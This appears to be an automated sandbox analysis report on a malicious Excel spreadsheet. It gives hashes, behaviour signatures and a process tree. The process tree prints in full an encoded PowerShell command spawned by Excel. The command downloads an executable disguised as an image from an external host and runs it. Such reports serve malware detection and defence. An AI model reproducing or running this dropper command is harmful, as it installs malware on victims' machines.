Analysis

  • max time kernel
    24s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 07:50

General

  • Target

    3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls

  • Size

    92KB

  • MD5

    7261eb1a46516d618aa41406e782da1e

  • SHA1

    9d979ddb6a4a1b607661d5570df2826b3a3c662f

  • SHA256

    3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9

  • SHA512

    4e52052ea1f5d71d1377c71346e36b9d4352a4e0a0a462d932a6defb88e4a929eb5a224486f8148a212270a95b6e48774397db9fa39551b571ea571012966afe

  • SSDEEP

    1536:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Qk3hOdsylKlgryzc4bNhZFGzE+cL2knt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://i.cubeupload.com/1MDiPJ.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3c35a7900d9225c422791be8920995c7dee042aa33fb3ebf0c7101cc633b6dd9.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1308-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1308-1-0x0000000071E4D000-0x0000000071E58000-memory.dmp

    Filesize

    44KB

  • memory/1308-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-14-0x0000000005EF0000-0x0000000005FF0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-10-0x0000000005EF0000-0x0000000005FF0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-18-0x0000000071E4D000-0x0000000071E58000-memory.dmp

    Filesize

    44KB

  • memory/1308-19-0x0000000005EF0000-0x0000000005FF0000-memory.dmp

    Filesize

    1024KB

  • memory/1308-20-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB